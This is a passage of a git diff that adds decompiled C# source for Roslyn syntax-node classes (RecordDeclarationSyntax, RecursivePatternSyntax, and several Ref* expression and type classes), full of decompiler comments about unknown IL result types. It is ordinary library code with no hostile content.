IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, openBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new RecordDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceToken(closeBraceToken); + } + + public new RecordDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, closeBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new RecordDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new RecordDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new RecordDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddTypeParameterListParametersCore(params TypeParameterSyntax[] items) + { + return AddTypeParameterListParameters(items); + } + + public new RecordDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new RecordDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterListSyntax = ParameterList ?? SyntaxFactory.ParameterList(); + return WithParameterList(parameterListSyntax.WithParameters(parameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items) + { + return AddBaseListTypes(items); + } + + public new RecordDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BaseListSyntax baseListSyntax = BaseList ?? SyntaxFactory.BaseList(); + return WithBaseList(baseListSyntax.WithTypes(baseListSyntax.Types.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddConstraintClausesCore(params TypeParameterConstraintClauseSyntax[] items) + { + return AddConstraintClauses(items); + } + + public new RecordDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new RecordDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecursivePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecursivePatternSyntax.cs new file mode 100644 index 0000000..e9662a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecursivePatternSyntax.cs @@ -0,0 +1,119 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RecursivePatternSyntax : PatternSyntax +{ + private TypeSyntax? type; + + private PositionalPatternClauseSyntax? positionalPatternClause; + + private PropertyPatternClauseSyntax? propertyPatternClause; + + private VariableDesignationSyntax? designation; + + public TypeSyntax? Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public PositionalPatternClauseSyntax? PositionalPatternClause => ((SyntaxNode)this).GetRed(ref positionalPatternClause, 1); + + public PropertyPatternClauseSyntax? PropertyPatternClause => ((SyntaxNode)this).GetRed(ref propertyPatternClause, 2); + + public VariableDesignationSyntax? Designation => ((SyntaxNode)this).GetRed(ref designation, 3); + + internal RecursivePatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref type), + 1 => ((SyntaxNode)this).GetRed(ref positionalPatternClause, 1), + 2 => ((SyntaxNode)this).GetRed(ref propertyPatternClause, 2), + 3 => ((SyntaxNode)this).GetRed(ref designation, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => type, + 1 => positionalPatternClause, + 2 => propertyPatternClause, + 3 => designation, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRecursivePattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRecursivePattern(this); + } + + public RecursivePatternSyntax Update(TypeSyntax? type, PositionalPatternClauseSyntax? positionalPatternClause, PropertyPatternClauseSyntax? propertyPatternClause, VariableDesignationSyntax? designation) + { + if (type != Type || positionalPatternClause != PositionalPatternClause || propertyPatternClause != PropertyPatternClause || designation != Designation) + { + RecursivePatternSyntax recursivePatternSyntax = SyntaxFactory.RecursivePattern(type, positionalPatternClause, propertyPatternClause, designation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return recursivePatternSyntax; + } + return recursivePatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public RecursivePatternSyntax WithType(TypeSyntax? type) + { + return Update(type, PositionalPatternClause, PropertyPatternClause, Designation); + } + + public RecursivePatternSyntax WithPositionalPatternClause(PositionalPatternClauseSyntax? positionalPatternClause) + { + return Update(Type, positionalPatternClause, PropertyPatternClause, Designation); + } + + public RecursivePatternSyntax WithPropertyPatternClause(PropertyPatternClauseSyntax? propertyPatternClause) + { + return Update(Type, PositionalPatternClause, propertyPatternClause, Designation); + } + + public RecursivePatternSyntax WithDesignation(VariableDesignationSyntax? designation) + { + return Update(Type, PositionalPatternClause, PropertyPatternClause, designation); + } + + public RecursivePatternSyntax AddPositionalPatternClauseSubpatterns(params SubpatternSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + PositionalPatternClauseSyntax positionalPatternClauseSyntax = PositionalPatternClause ?? SyntaxFactory.PositionalPatternClause(); + return WithPositionalPatternClause(positionalPatternClauseSyntax.WithSubpatterns(positionalPatternClauseSyntax.Subpatterns.AddRange((IEnumerable)items))); + } + + public RecursivePatternSyntax AddPropertyPatternClauseSubpatterns(params SubpatternSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + PropertyPatternClauseSyntax propertyPatternClauseSyntax = PropertyPatternClause ?? SyntaxFactory.PropertyPatternClause(); + return WithPropertyPatternClause(propertyPatternClauseSyntax.WithSubpatterns(propertyPatternClauseSyntax.Subpatterns.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefExpressionSyntax.cs new file mode 100644 index 0000000..dcd20d1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RefExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken RefKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefExpressionSyntax)(object)((SyntaxNode)this).Green).refKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal RefExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefExpression(this); + } + + public RefExpressionSyntax Update(SyntaxToken refKeyword, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (refKeyword != RefKeyword || expression != Expression) + { + RefExpressionSyntax refExpressionSyntax = SyntaxFactory.RefExpression(refKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return refExpressionSyntax; + } + return refExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public RefExpressionSyntax WithRefKeyword(SyntaxToken refKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(refKeyword, Expression); + } + + public RefExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(RefKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeExpressionSyntax.cs new file mode 100644 index 0000000..38c3f2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RefTypeExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefTypeExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefTypeExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefTypeExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal RefTypeExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefTypeExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefTypeExpression(this); + } + + public RefTypeExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || closeParenToken != CloseParenToken) + { + RefTypeExpressionSyntax refTypeExpressionSyntax = SyntaxFactory.RefTypeExpression(keyword, openParenToken, expression, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return refTypeExpressionSyntax; + } + return refTypeExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public RefTypeExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Expression, CloseParenToken); + } + + public RefTypeExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Expression, CloseParenToken); + } + + public RefTypeExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, expression, CloseParenToken); + } + + public RefTypeExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeSyntax.cs new file mode 100644 index 0000000..eefc058 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefTypeSyntax.cs @@ -0,0 +1,110 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RefTypeSyntax : TypeSyntax +{ + private TypeSyntax? type; + + public SyntaxToken RefKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefTypeSyntax)(object)((SyntaxNode)this).Green).refKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ReadOnlyKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken readOnlyKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefTypeSyntax)(object)((SyntaxNode)this).Green).readOnlyKeyword; + if (readOnlyKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)readOnlyKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public RefTypeSyntax Update(SyntaxToken refKeyword, TypeSyntax type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(refKeyword, ReadOnlyKeyword, type); + } + + internal RefTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefType(this); + } + + public RefTypeSyntax Update(SyntaxToken refKeyword, SyntaxToken readOnlyKeyword, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (refKeyword != RefKeyword || readOnlyKeyword != ReadOnlyKeyword || type != Type) + { + RefTypeSyntax refTypeSyntax = SyntaxFactory.RefType(refKeyword, readOnlyKeyword, type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return refTypeSyntax; + } + return refTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public RefTypeSyntax WithRefKeyword(SyntaxToken refKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(refKeyword, ReadOnlyKeyword, Type); + } + + public RefTypeSyntax WithReadOnlyKeyword(SyntaxToken readOnlyKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(RefKeyword, readOnlyKeyword, Type); + } + + public RefTypeSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(RefKeyword, ReadOnlyKeyword, type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefValueExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefValueExpressionSyntax.cs new file mode 100644 index 0000000..85062bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RefValueExpressionSyntax.cs @@ -0,0 +1,138 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RefValueExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private TypeSyntax? type; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefValueExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefValueExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken Comma => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefValueExpressionSyntax)(object)((SyntaxNode)this).Green).comma, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 4); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RefValueExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + internal RefValueExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => ((SyntaxNode)this).GetRed(ref expression, 2), + 4 => ((SyntaxNode)this).GetRed(ref type, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => expression, + 4 => type, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefValueExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefValueExpression(this); + } + + public RefValueExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || comma != Comma || type != Type || closeParenToken != CloseParenToken) + { + RefValueExpressionSyntax refValueExpressionSyntax = SyntaxFactory.RefValueExpression(keyword, openParenToken, expression, comma, type, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return refValueExpressionSyntax; + } + return refValueExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public RefValueExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Expression, Comma, Type, CloseParenToken); + } + + public RefValueExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Expression, Comma, Type, CloseParenToken); + } + + public RefValueExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, expression, Comma, Type, CloseParenToken); + } + + public RefValueExpressionSyntax WithComma(SyntaxToken comma) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, comma, Type, CloseParenToken); + } + + public RefValueExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL 